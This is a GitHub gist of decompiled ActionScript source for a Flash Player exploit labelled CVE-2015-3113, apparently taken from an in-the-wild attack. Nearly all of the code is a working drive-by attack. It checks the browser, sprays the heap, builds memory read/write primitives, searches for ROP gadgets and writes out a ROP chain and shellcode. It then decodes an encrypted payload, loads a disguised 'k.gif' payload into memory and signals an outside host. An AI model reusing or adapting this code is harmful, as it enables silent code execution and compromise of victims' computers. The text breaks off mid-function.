Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
CVE-2015-3113 from 205a625ebc3b0a9b286dc8f065845433
package
{
import flash.display.MovieClip;
import flash.utils.ByteArray;
import flash.net.URLLoader;
import flash.utils.Timer;
import flash.media.Video;
import flash.display.Loader;
import flash.net.URLRequest;
import flash.events.Event;
import flash.external.ExternalInterface;
import flash.system.Capabilities;
import flash.net.SharedObject;
import flash.net.NetConnection;
import flash.net.NetStream;
import flash.events.NetStatusEvent;
import flash.utils.Endian;
import flash.net.URLLoaderDataFormat;
public class flappyMan extends MovieClip
{
private var m_scKey = "145f40a98ee3da4f6866472fcec968c39bd6172570459d59397716941b0ebc8e6fb807064d6d9d2fd5dd818fa6d7748c44f8fd3748c99b8838396e2544837f654f076b9e99090bf947efeb5cc2792c2198649129d8af67879d4203cebcb9773f463155dc57a0822f61d207356af45bc4f03c0c6b69b853fe8fc0e5f96f929fcaec134fbcb55248224d2ff6c82a462c0fa2154a05885f94edb6594e2009a1d686dafd0b4ea1f084773321065dd11eb16b0d794f10854f4622c02116517b32604b30345a364d82432c463b204c765ee11a0f68c03af5e8e74260a53eb1fe40e4c110ee372c32c2768e3800d683ee1f94af8d52e6473542d9c6ca6368768c7f6e67205a3c7d0a1e7240c06c5e02d82d0992f11e320c5e2264fbb84f5bed6253ec8e0c952a0954b9ed391c698f6093065e00a82633735285310469ce82748256b3dc02b4e24453e986c30adae74543dd1c85a1b620fbb71e4dd09c3f6dfe3355f9cb344071b611ba3cfe4d1488ee4f1d2b09d294d237f5ceadad1a6c4d147ed2db2a59b47f7cd469735d2ede362ee55e5841b373c8ccbc30a637aa9b79";
private var infectedObjIndex:int = 0;
private var changedPropertyObjIndex:int = 0;
private var subObjectValue:uint = 0;
private var offsetRepairValue:uint = 0;
private var iLoopCount:int = 0;
private var controlledAddr:uint = 0;
private var heapSprayObjAddr:uint = 521273344;
private var offset:int = 0;
private var iCountOffset:int = 184;
private var ropChainLen:int = 0;
private var uiNopValue:uint = 0;
private var recObjAddr:uint = 0;
private var storedObjIndex:int = 0;
private var jpgBytes:ByteArray;
private var jpgLoader:URLLoader;
private var btaObj:ByteArray;
private var outObj:OutClass;
private var regexp:RegExp;
public var vtObj20W:Vector.<Object>;
public var vtObj1H:Vector.<Object>;
public var vtObj20WLen:int = 1022;
public var vtObj1HLen:int = 1007;
private var heapSprayLenByEnv20W:int = 98688;
private var workTimerExploit:Timer;
private var bExploited:Boolean = false;
public var video:Video;
public function flappyMan()
{
this.video = new Video(10,10);
super();
this.btaObj = new ByteArray();
this.outObj = new OutClass();
this.vtObj20W = new Vector.<Object>(this.heapSprayLenByEnv20W);
this.vtObj1H = new Vector.<Object>(256);
this.workTimerExploit = new Timer(250,30);
var _loc1_:* = new URLRequest();
this.jpgBytes = new ByteArray();
this.jpgLoader = new URLLoader();
if(this.checkEvn() == true)
{
_loc1_.url = "k.gif";
this.jpgLoader.dataFormat = URLLoaderDataFormat.BINARY;
this.jpgLoader.addEventListener(Event.COMPLETE,this.func_prepare);
this.jpgLoader.load(_loc1_);
}
}
public function randRange(param1:Number, param2:Number) : Number
{
var _loc3_:Number = Math.floor(Math.random() * (param2 - param1 + 1)) + param1;
return _loc3_;
}
private function empty(param1:String) : void
{
var _loc2_:Loader = new Loader();
_loc2_.load(new URLRequest(param1));
_loc2_.contentLoaderInfo.addEventListener(Event.COMPLETE,this.loadComplete);
}
private function loadComplete(param1:Event) : void
{
}
private function checkBroswerEnv() : Boolean
{
var _loc1_:String = ExternalInterface.call("eval","navigator.userAgent");
if(_loc1_.toLowerCase().indexOf("chrome") >= 0)
{
return false;
}
if(_loc1_.toLowerCase().indexOf("safari") >= 0)
{
return false;
}
if(_loc1_.toLowerCase().indexOf("win64") >= 0)
{
return false;
}
if(_loc1_.toLowerCase().indexOf("windows nt 5.1") >= 0 || _loc1_.toLowerCase().indexOf("windows nt 6.1") >= 0)
{
if(_loc1_.toLowerCase().indexOf("firefox") >= 0)
{
if(Capabilities.os.toLowerCase() == "windows xp")
{
return true;
}
return false;
}
if(_loc1_.toLowerCase().indexOf("msie") >= 0 || _loc1_.toLowerCase().indexOf("trident/6.0") >= 0 || _loc1_.toLowerCase().indexOf("trident/7.0") >= 0)
{
return true;
}
return false;
}
return false;
}
private function checkEvn() : Boolean
{
var _loc1_:String = Capabilities.os;
if(_loc1_.toLowerCase().indexOf("windows") < 0)
{
return false;
}
var _loc2_:* = Capabilities.version.toLowerCase().toString();
if(_loc2_ == "win 17,0,0,169")
{
return false;
}
return true;
}
private function checkSetSharobject() : Boolean
{
var _loc1_:* = NaN;
var _loc2_:SharedObject = SharedObject.getLocal("koifcook");
if(_loc2_.size == 0)
{
_loc2_.close();
return false;
}
_loc1_ = new Date().time - _loc2_.data.now;
if(_loc1_ < 1 * 24 * 60 * 60 * 1000)
{
_loc2_.close();
return true;
}
_loc2_.close();
return false;
}
private function setSharobject() : Boolean
{
var _loc1_:SharedObject = SharedObject.getLocal("koifcook");
if(_loc1_.size == 0)
{
_loc1_.data.now = new Date().time;
_loc1_.flush();
_loc1_.close();
return true;
}
return false;
}
public function func_prepare(param1:Event) : void
{
var _loc2_:* = 0;
var _loc3_:* = 0;
var _loc4_:* = 0;
var _loc5_:NetConnection = new NetConnection();
_loc5_.connect(null);
var _loc6_:NetStream = new NetStream(_loc5_);
this.video.attachNetStream(_loc6_);
_loc2_ = 0;
while(_loc2_ < this.heapSprayLenByEnv20W)
{
this.vtObj20W[_loc2_] = new Vector.<uint>(this.vtObj20WLen);
this.vtObj20W[_loc2_][0] = 1094795585;
this.vtObj20W[_loc2_][1] = 1111638594;
_loc2_++;
}
_loc2_ = 0;
while(_loc2_ < 256)
{
this.vtObj1H[_loc2_] = new Vector.<Object>(this.vtObj1HLen);
_loc3_ = 0;
while(_loc3_ < this.vtObj1HLen)
{
this.vtObj1H[_loc2_][_loc3_] = this.outObj;
_loc3_++;
}
_loc2_++;
}
_loc2_ = this.heapSprayLenByEnv20W / 4;
while(_loc2_ < this.heapSprayLenByEnv20W / 2)
{
this.vtObj20W[_loc2_] = null;
_loc2_ = _loc2_ + 3;
}
_loc6_.addEventListener(NetStatusEvent.NET_STATUS,this.statusChanged);
_loc6_.play("f.flv");
}
private function statusChanged(param1:NetStatusEvent) : void
{
if(param1.info.code == "NetStream.Play.Stop")
{
this.logMsg("ready to go!");
this.func_step2();
}
}
public function func_step2() : void
{
var _loc3_:uint = 0;
var _loc4_:* = undefined;
var _loc5_:* = undefined;
var _loc6_:* = undefined;
var _loc7_:uint = 0;
var _loc8_:uint = 0;
var _loc9_:* = 0;
var _loc10_:* = undefined;
var _loc11_:* = undefined;
var _loc12_:uint = 0;
var _loc13_:uint = 0;
var _loc14_:uint = 0;
var _loc15_:uint = 0;
var _loc16_:* = undefined;
var _loc17_:* = undefined;
var _loc18_:* = undefined;
var _loc19_:* = undefined;
var _loc20_:uint = 0;
var _loc21_:uint = 0;
var _loc22_:uint = 0;
var _loc23_:uint = 0;
var _loc24_:uint = 0;
var _loc25_:uint = 0;
var _loc26_:uint = 0;
var _loc27_:uint = 0;
var _loc28_:uint = 0;
var _loc29_:uint = 0;
var _loc30_:uint = 0;
var _loc31_:uint = 0;
var _loc32_:* = 0;
var _loc33_:* = 0;
var _loc34_:* = undefined;
var _loc35_:ByteArray = null;
var _loc36_:ByteArray = null;
var _loc37_:* = undefined;
var _loc38_:* = undefined;
var _loc39_:* = undefined;
var _loc40_:uint = 0;
var _loc41_:String = null;
var _loc42_:uint = 0;
var _loc43_:uint = 0;
var _loc44_:* = undefined;
var _loc45_:ByteArray = null;
var _loc46_:uint = 0;
var _loc47_:uint = 0;
var _loc48_:uint = 0;
var _loc49_:uint = 0;
var _loc50_:Vector.<uint> = null;
var _loc51_:* = undefined;
var _loc52_:ByteArray = null;
var _loc1_:* = this.heapSprayLenByEnv20W / 4;
while(_loc1_ < this.heapSprayLenByEnv20W / 2)
{
this.vtObj20W[_loc1_] = new Vector.<uint>(this.vtObj20WLen);
this.vtObj20W[_loc1_][0] = 1094795585;
this.vtObj20W[_loc1_][1] = 1111638594;
_loc1_ = _loc1_ + 3;
}
if(this.bExploited == true)
{
return;
}
_loc1_ = 0;
while(_loc1_ < this.heapSprayLenByEnv20W)
{
try
{
if((this.vtObj20W[_loc1_] as Vector.<uint>).length > this.vtObj20WLen)
{
this.logMsg("find vul array!");
this.bExploited = true;
break;
}
}
catch(e:Error)
{
}
_loc1_++;
continue;
if(_loc1_ >= this.heapSprayLenByEnv20W)
{
break;
}
break;
}
if(!this.bExploited)
{
this.empty("a.gif");
return;
}
this.changedPropertyObjIndex = _loc1_;
this.storedObjIndex = this.changedPropertyObjIndex;
var _loc2_:* = false;
_loc1_ = this.vtObj20WLen;
while(_loc1_ < 65536)
{
if(this.vtObj20W[this.changedPropertyObjIndex][_loc1_] == this.vtObj20WLen && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 2] == 1094795585 && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 3] == 1111638594)
{
this.offsetRepairValue = _loc1_;
this.vtObj20W[this.changedPropertyObjIndex][_loc1_] = 1073741823;
this.subObjectValue = this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 1];
if(this.checkProperty() == true)
{
break;
}
this.vtObj20W[this.changedPropertyObjIndex][_loc1_] = this.vtObj20WLen;
}
_loc1_++;
}
if(_loc1_ == 1048576)
{
this.empty("b.gif");
this.logMsg("CHANGE_LEN_FAILED.png");
while(true)
{
_loc1_++;
}
}
else
{
_loc3_ = 0;
_loc1_ = this.vtObj20WLen;
while(_loc1_ < 262144)
{
if(!(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 4] == 0) && !(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 6] == 0) && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 4] % 4096 == 0 && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 6] % 4096 == 0)
{
if(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 15] == 2 || this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 25] == 2)
{
_loc3_ = this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 11] & 4.2949632E9;
if(_loc3_)
{
break;
}
}
}
_loc1_++;
}
if(_loc1_ == 262144)
{
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - this.offsetRepairValue - 4] = this.vtObj20WLen;
this.exception_exit();
this.logMsg("CTROLL_ADDRESS_FAILED.png");
this.empty("c.gif");
return;
}
this.controlledAddr = _loc3_ - _loc1_ * 4;
this.writeUnsignedInt(this.controlledAddr - this.offsetRepairValue * 4 - 16,this.vtObj20WLen);
this.writeUnsignedInt(this.controlledAddr - this.offsetRepairValue * 4 - 12,this.subObjectValue);
_loc4_ = _loc3_ & 4.2949632E9;
while(1)
{
if(_loc4_ < 65536)
{
return this.safe_exit();
}
if(this.readUnsignedInt(_loc4_ + 16) >= 5)
{
_loc4_ = this.readUnsignedInt(16 + _loc4_);
continue;
}
break;
}
_loc5_ = 0;
_loc6_ = 0;
while(_loc5_ < 100)
{
if(this.readUnsignedInt(_loc4_ + 80 + _loc5_ * 40) > 268435456 && this.readUnsignedInt(_loc4_ + 76 + _loc5_ * 40) == 0 && this.readUnsignedInt(_loc4_ + 84 + _loc5_ * 40) == 0)
{
_loc6_ = this.readUnsignedInt(_loc4_ + 80 + _loc5_ * 40);
if(this.readUnsignedInt(_loc6_ + 4) == this.vtObj1HLen && this.readUnsignedInt(_loc6_ + 16) == this.readUnsignedInt(_loc6_ + 64) && this.readUnsignedInt(_loc6_ + 28) == this.readUnsignedInt(_loc6_ + 44) && (this.readUnsignedInt(_loc6_ + 28)))
{
break;
}
}
_loc5_++;
}
if(_loc5_ == 100)
{
this.logMsg("find vtable failed!");
this.safe_exit();
this.empty("d.gif");
return;
}
_loc6_ = this.readUnsignedInt(_loc6_ + 28);
_loc6_ = _loc6_ & 4.294967292E9;
this.logMsg("start to analyze flash module EAT,and get kernel dll base!");
_loc7_ = this.getModuleBase(this.read32(_loc6_) & 4.29490176E9);
if(_loc7_ == 0)
{
return;
}
_loc8_ = _loc7_;
_loc7_ = this.readUnsignedInt(_loc8_ + 60);
_loc7_ = this.readUnsignedInt(_loc8_ + _loc7_ + 128);
_loc7_ = _loc8_ + _loc7_;
_loc9_ = _loc7_;
_loc10_ = 0;
_loc11_ = 0;
_loc5_ = 0;
while(_loc5_ < 20)
{
_loc7_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20 + 12);
if((this.readUnsignedInt(_loc7_) ^ 538976288) == 1852990827)
{
_loc11_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20);
_loc10_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20 + 16);
break;
}
_loc5_++;
}
if(_loc5_ == 20)
{
this.safe_exit();
return;
}
_loc12_ = 0;
_loc13_ = 0;
_loc14_ = 0;
_loc15_ = 0;
_loc16_ = 0;
_loc5_ = 0;
while(_loc5_ < 1367 && _loc16_ < 2)
{
_loc7_ = _loc8_ + this.readUnsignedInt(_loc11_ + _loc5_ * 4);
if(_loc7_ == _loc8_ || _loc7_ > _loc8_ + 16777215)
{
break;
}
if(!_loc12_ && this.readUnsignedInt(_loc7_ + 2) == 1953655126 && this.readUnsignedInt(_loc7_ + 6) == 1097621877 && this.readUnsignedInt(_loc7_ + 10) == 1668246636)
{
_loc13_ = _loc10_ + _loc5_ * 4;
_loc12_ = this.readUnsignedInt(_loc13_);
_loc16_++;
}
else if(!_loc14_ && this.readUnsignedInt(_loc7_ + 2) == 1349805383 && this.readUnsignedInt(_loc7_ + 6) == 1097035634 && this.readUnsignedInt(_loc7_ + 10) == 1701995620)
{
_loc15_ = _loc10_ + _loc5_ * 4;
_loc14_ = this.readUnsignedInt(_loc15_);
_loc16_++;
}
_loc5_++;
}
if(_loc5_ == 1367)
{
this.logMsg("GETPROCADDR_FAILED!");
this.safe_exit();
this.empty("e.gif");
return;
}
_loc17_ = 0;
_loc18_ = 0;
_loc17_ = this.readUnsignedInt(_loc8_ + 60);
_loc18_ = this.readUnsignedInt(_loc8_ + _loc17_ + 264);
_loc17_ = this.readUnsignedInt(_loc8_ + _loc17_ + 260);
_loc17_ = _loc8_ + _loc17_;
_loc18_ = _loc8_ + _loc18_;
_loc5_ = _loc17_;
_loc19_ = 0;
_loc5_ = _loc17_;
this.logMsg("start to get garbeget!");
while(_loc5_ < _loc18_)
{
if(this.readUnsignedInt(_loc5_) == _loc13_ && (this.readUnsignedInt(_loc5_ - 2) & 65535) == 5631 && (this.readUnsignedInt(_loc5_ + 4) & 255) == 195)
{
_loc19_ = _loc5_ - 2;
break;
}
_loc5_++;
}
_loc20_ = 0;
_loc21_ = 0;
_loc22_ = 0;
_loc23_ = 0;
_loc24_ = 0;
_loc25_ = 0;
_loc26_ = 0;
_loc27_ = 0;
_loc28_ = 0;
_loc29_ = 0;
_loc30_ = 0;
_loc5_ = _loc17_ + 4096;
_loc16_ = 0;
while(_loc5_ < _loc18_ - 4 && _loc16_ < 4)
{
_loc22_ = this.readUnsignedInt(_loc5_);
if(!_loc26_ && (_loc22_ & 65535) == 50065)
{
_loc26_ = _loc5_;
_loc16_++;
}
if(!_loc24_ && (_loc22_ & 65535) == 50008)
{
_loc24_ = _loc5_;
_loc16_++;
}
if(!_loc30_ && (_loc22_ & 65535) == 50009)
{
_loc30_ = _loc5_;
_loc16_++;
}
if(!_loc25_ && (_loc22_ & 65535) == 8447)
{
_loc25_ = _loc5_;
_loc16_++;
}
_loc5_++;
}
if(_loc27_ == 0)
{
_loc50_ = new Vector.<uint>(6);
_loc50_[0] = 72;
_loc50_[1] = 84;
_loc50_[2] = 76;
_loc50_[3] = 68;
_loc50_[4] = 64;
_loc50_[5] = 36;
_loc51_ = 0;
while(_loc51_ < _loc50_.length)
{
_loc52_ = new ByteArray();
_loc52_.endian = Endian.LITTLE_ENDIAN;
_loc52_.writeByte(94);
_loc52_.writeByte(131);
_loc52_.writeByte(196);
_loc52_.writeByte(_loc50_[_loc51_]);
_loc52_.writeByte(195);
_loc27_ = this.searchBytes(_loc52_,_loc17_,_loc18_);
if(_loc27_ != 0)
{
this.logMsg("off:0x" + _loc50_[_loc51_].toString(16));
break;
}
_loc51_++;
}
}
if(_loc12_ == 0 || _loc25_ == 0 || _loc24_ == 0 || _loc19_ == 0 || _loc14_ == 0 || _loc27_ == 0 || _loc30_ == 0)
{
this.logMsg("find gadget failed!");
this.empty("f.gif");
this.safe_exit();
return;
}
this.logMsg("_loc20:0x" + _loc19_.toString(16) + ";loc15:0x" + _loc14_.toString(16) + ";loc28:0x" + _loc27_.toString(16) + "_locAddEsp:0x" + _loc29_.toString(16));
_loc31_ = this.getModuleBase(_loc12_ & 4.29490176E9);
if(_loc31_ == 0)
{
this.empty("h.gif");
this.logMsg("get kernel base failed!");
this.safe_exit();
return;
}
_loc32_ = _loc24_ + 1;
_loc33_ = this.heapSprayObjAddr + 131328;
_loc34_ = _loc33_ & 4.2949632E9;
_loc35_ = new ByteArray();
_loc35_.endian = Endian.LITTLE_ENDIAN;
_loc5_ = 0;
while(_loc5_ < 256)
{
_loc35_.writeUnsignedInt(this.readUnsignedInt(_loc34_ + 4 * _loc5_++));
}
_loc36_ = new ByteArray();
_loc36_.endian = Endian.LITTLE_ENDIAN;
_loc5_ = 0;
while(_loc5_ < 262144)
{
_loc36_.writeUnsignedInt(this.readUnsignedInt(_loc33_ + 4 * _loc5_++));
}
_loc37_ = 256;
_loc38_ = 16;
_loc39_ = 0;
_loc40_ = _loc33_ + _loc37_ + _loc38_;
this.writeUnsignedInt(_loc34_ + 4 * _loc39_++,_loc40_);
_loc39_ = 0;
this.ropChainLen = _loc39_ * 4;
while(_loc39_ < _loc37_ / 4)
{
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc33_ + _loc37_);
}
if(_loc26_ == 0)
{
_loc26_ = 3.435973836E9;
}
while(_loc39_ < (_loc37_ + _loc38_) / 4)
{
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc26_);
}
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,3.096481936E9);
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc34_ + 8);
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,3.146813584E9);
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc14_);
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,2.425362569E9);
_loc41_ = "5781ece0050000c70424100001008d7c2404b9dc05000033c0f3aa546afeffd381c4e00500005f";
_loc42_ = 0;
_loc42_ = this.writeBytes(_loc33_ + 4 * _loc39_++,this.hexToBin("6a0068746578746864436F6E686872656168536574545468"));
this.writeUnsignedInt(_loc42_,_loc31_);
_loc42_ = this.writeBytes(_loc42_ + 4,this.hexToBin("ffD38bd883c41483fb007430"));
_loc42_ = this.writeBytes(_loc42_,this.hexToBin(_loc41_));
_loc43_ = _loc42_ + 4 & 4.294967292E9;
_loc39_ = 0;
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,3.967914128E9);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,240);
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.418291849E9);
_loc44_ = "13562bcd8d6a0d486a083f4fb15552b7232f678b6f7ee6a7ac4697db3fb65b9ce5a70428eb982f6b418973960a47f388cc5aa28a03874649b18935c2e044d4bbeb43c3ac9170c72b0867c9228f9a877e111810060dbc25f40eb1c8bbc014e15e9ee683e1ec15b4cfb064a4080cb32bbe6cc820e6659961b02bf723d82695c67b9d7dd75da8de9907aa7b840a14bfa3b40f5d9bdbbfd2c8b24aeda823f1ac4e40cde0c63a16e6e36805566210e11249652b266e06b927189069cbca2985942163279eecc3c79390a33fe5c0cd153135b2c8a428b29f244d25b2ce6294703e1ffdbf6ce7a563ef0805dd7cb3c1e145db7e0e2631b93bd285cdb547839fde9781c43a3d89da60e48091875356df108f0bb33dfcc155fb1b4380154d81dc3d010fe8856b588c5ac0d57334c3c4edb93b680f67b72a8eb69bc365539de853e7b3cdb391bcf48c16d81b2f50f67011ab23eed5ef4ed6546fdd19f51ea8cbbf0be867e77ff29c81b65cc9219165f7da223b97f5fddb5bbe431b9d565a849b8ee29c952a79977b334f6f099ebfddd5305840999e877a005b0e1e03387a9cf6edf10ed8052916a371c7c640f087f23dc67c176551a59f9940b18a3a19fbcd24e71a66211d2210b3786793d327a61bc6114f4a2c54c600d596fdc7c13c34f3083e3b0af5898fb0290ada848958aae1bacd6862891af7e83a932eba684e53de4b7c966eb660a0a0437ecd41d2e7b349b097541a79b5f73b537fe3021c628474fc6ac2a52853500afb8ed81d59487fafe46a7cecd3732f2d7928f60c6c51b720a92beabb89c1bcb2866a75e0a80a4377a1d0d41eb6af9b499ef52442f06854d141becd359612867a9d70334e2b7c76bbb96685747f3cc268852bea7ae00409a4eb5d66bbbab36eec58d1e5da6c3ada1c23e7faf57d46b0b819bdce7cf27fbc0c37231b7c69adb73f94daa176ed8511f7eb978b4b2769911147f2180ad2a3679198acc8ea5df9fead3dea7e082db1b61eebd97aa567f44d712c5bc6482942ae1d381b62745f95ddf92f4ca40b388ba35c4acbc733e6ba3eba055e57fcceeeeb96e8158c9004f4181be79882a26453231360e32a9e31cdb41ea87b461df2a47f3c6c4fc9080eb7e9e5b6bfd91624909d3ad109eca7d9a7a555b3dc4df7cb7c900db80b2938cc1bf850deeeb3a96481715e7dbaae703401642d527f865678d8283161946da7665bd40a09edd971a23f76c76600e8a143dd91229828070deca9a80f4e5bbff2de777a18eebd4a9b0e553ff232c1d800f2b3464c5ab060a35bc6ec7890f5798c5f9580edb5474c2fbb9b3620f669ef79149df1d4036bd9f9aa5d6f7c3cc188ad6caf456ac9b51f589d1c5f5910c8c598c1873c62132993f4ec8fa130c628f48fb8d8a33968238a25f048b2ad4f55d3225b519a0ea8ebbb11b0697863897f7c23fea0df050cf56df3958063cbf7e57219a4c5884ce71efa0b724e2881c30e6167f366ffe404ad91605cffd4c89eb3c061436f8f5b6f15f8418225604ecd742f7758c4d811eb5bd728207d75fa07778b829dc360bd47dbb6d71066af714e9bf06a145fdf6579edda469d2efa329f77fc3331421d2ee72a640fb966477b0e3bcdcd222163ccdfc080fe3dc41a78d4404234e92af4b07aa62f41ce4ec7952fa4f1f46249dfcee69b5c8de135379353a6c94014f3d872cf65485424cd84bee75ed41cc20989e6d33559704b511310ea3ad32f85e2f324301514451eeb3c2d160b6089c46db2b8346ff8d163eab6ad629d01932f2a16974b780dc080eaecdaacbbf9ecd82e1ca3f2a0ffb9f42d48c8c9a87bba0e5053ed1ea1f9eacb6dd590891bf94d552f42cb34b6b3d057deb0f33d6eb05ee642ec2cf58f5eb9ca088ef3564aac07a8847ef6b11e6cedf6ac0853546b2f19d95fdd24b23bfd515e42782fba042333d20ebad9df31d5a71ebca513952a9ca02c3bedcb2761e923c44d31bfbfe99b283a544957c0788ced2921ad34a00330417ba8f504575a0a64790b2451b939bd7d5b5b896d449580d69f0e1b26f52e227781f0c1f8e7d757b4edd0ae7d74046d8f1f6404c65173a9a916a077071b4897ef451021e65428fcc6670cc267b8d511d48d7ffe7acfaa474526facec61b4484ad38dc65de3feb7fe27956d3070dc1a2e6831b4ac0fa697caa873290feab2f32019e82a1949dffa9fc0c5f61954b423ceb4585ee5de53be079f71f04cfefd76226f3df94ee525023f58cd9e96d56aeeeeb9df8bd321e10911f0cae63f94e48f0c895efbf6e1aadf67b4ba630cfec8bc9590975c9ed6003b21de46cbf40ceafe31753e8e148a2cce20ca389536312151e1e5dc20c49e847afad802f1e8e05d404366034b4afe3d38445598ecc87d4e72e8726d478eda1e4185aaa9a50d739a388ff248c07e8bb5392d4dd924218d9e9f411c00d2c4f6332ed92d2ee3bcd238a7e9e303625f7bb515cfeadcea1468b430e75c26ad6038b50fb4044a20d05110dea83e43f7c8ece51a2c2b81e0bfce334dd467086a9d6a806a19e67ac6fd63842ad7e1949afe4d8023f588d05c7de425e0362acb2f393d9d14fa18d95bc39cff977a962b321f23789cb7d07cc0c9d4aa6d0a881fad6b29f743a8bfa017a538426c46fcac25bd4e1e6a99cdf8556d315cfc871a065555e4c15b8606f85d8272f8652790d2e833f1277fcd03747d6afb97cdca52c6ed396844e5050859306076a872e17a83fa1c85633a6cbc1c806eac610637a5f3b64483aa14ebb644101874a06e6d75075e3c40948198d3aaf5aae1d4a81ca56713a151648c9a421d11bce2b2cec2a28f7bf648e30da3439de019d20939f30df00b270459e756a9d0763e5f1b41b3b77d56a921687b2a44d617d04a8800b31f685d973167827b3eba32acf869768c771e864e1a2dd8fe6ffe23a6077f67960cfa6d53d4025baa2dad522253a538a494fa5b2102afbdc76e3338a10c826902a62404991f5cdf03a939c755e0f1168696b2a1d09b96d0bd4dfa5361bfbd8070d3b3537d998b3110b50e480ed7c0836240b0b67eb29bd668d4bb40761d29ec761cb07573b86f8d015d295b72e6f6c9920e6d674644e7541a25666e33a2316d193e0776c19ebfe791db4f80ebd498157cf15341dada859a037785d1f7ba06466ed668831f3c9795a4477ba44b9d9ddd0e544d7aa2d4e7c33b9bc30219bf8d1d27eaba69255b46acb7e5d0ec6b01d0fb6e7c93e2d12f56cb604b53590e31c7e46ee73c32170ade42737f20e942a5d47f53d205852c095e935f1e62448d12a1a4f80cb259a77a8b6895e3864c291b8df972eda1853f215aa190ed11ff57c8a9c2ff93acb3d17b13fb45863d817df0ad9d146a5173298fc22d8e7d1db1181921ae8d49b2dc13a55b387a2380160e5220db5c0cebababa7b179fc486a7d4ac1736175f64ecd971afeac730044e719b4aa1d5cd95294c705c25278f4044ab0b0e032ff73dfb0ae6ae4352b2e289796fec60c9c84fbcf13f3d20e658a336b4958631836dc3174e2602b59209704cf9a7c3d79a12b0c0fe41d52107022039d04568b421f27ab67894804bd13da0a1bf6959dc1b46c9ded96b95841f771f0814ca223f7cfc8c6bdda45b4e5ea1a260ec78ec1e3b24589e7b16c91b209227e6b237469ccd3ea3fbd8b110aeea7114d96b37059dbf90a58205cfbd56abc7deb433e748520e43462a18e7516c67af39c500bf998187af372781992f0fd9a103af8d44e436a3d5ae00d9283ce5d8d7ed4385626469c0ae14020dc68fd05747e7364516cd055c1e36ae95430eb7cdc0093b8e16ff5c695abb8e46f3614d84e9d5ab220342bcdc4a8458af5ca93b5a30658c747d638a36737bda39c20dd8145784c5633e881c8175c8d2b0b5f6256b9fb3711a9c1ad5f23171c2f3db0e3337f26754753005385b3d6b18";
_loc45_ = this.decode(_loc44_,this.m_scKey);
this.writeBytes(_loc43_ + 4 * _loc39_,_loc45_);
_loc46_ = _loc43_ + 4 * _loc39_ + _loc45_.length;
_loc47_ = this.readUnsignedInt(this.heapSprayObjAddr);
this.writeUnsignedInt(this.heapSprayObjAddr,_loc46_);
this.jpgBytes.endian = Endian.LITTLE_ENDIAN;
this.jpgBytes.position = 0;
ByteArray(this.jpgLoader.data).position = 0;
ByteArray(this.jpgLoader.data).readBytes(this.jpgBytes,0,0);
this.jpgBytes.endian = Endian.LITTLE_ENDIAN;
this.jpgBytes.position = 0;
this.writeBytes(_loc46_,this.jpgBytes);
_loc48_ = this.readUnsignedInt(_loc6_ + 8) & 4.294967292E9;
_loc49_ = this.readUnsignedInt(_loc48_ + 72);
this.writeUnsignedInt(_loc49_ + 4,_loc27_);
this.outObj.therundata(_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc24_,_loc33_,_loc19_,_loc34_,65536,4096,64,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc19_ + 6,_loc19_ + 6,_loc30_,_loc19_ + 6,_loc25_,_loc25_);
_loc36_.position = 0;
_loc5_ = 0;
while(_loc5_ < _loc36_.length / 4)
{
this.writeUnsignedInt(_loc33_ + 4 * _loc5_++,_loc36_.readUnsignedInt());
}
_loc35_.position = 0;
_loc5_ = 0;
while(_loc5_ < _loc35_.length / 4)
{
this.writeUnsignedInt(_loc34_ + 4 * _loc5_++,_loc35_.readUnsignedInt());
}
this.writeUnsignedInt(this.heapSprayObjAddr,_loc47_);
this.setSharobject();
this.safe_exit();
this.empty("http://was.jiscs.com/logo/logoshow.gif");
return;
}
}
public function safe_exit() : void
{
this.writeUnsignedInt(this.controlledAddr - 8,this.vtObj20WLen);
}
public function logMsg(param1:String) : void
{
if(ExternalInterface.available)
{
}
}
public function alertMsg(param1:String) : void
{
}
public function exception_exit() : void
{
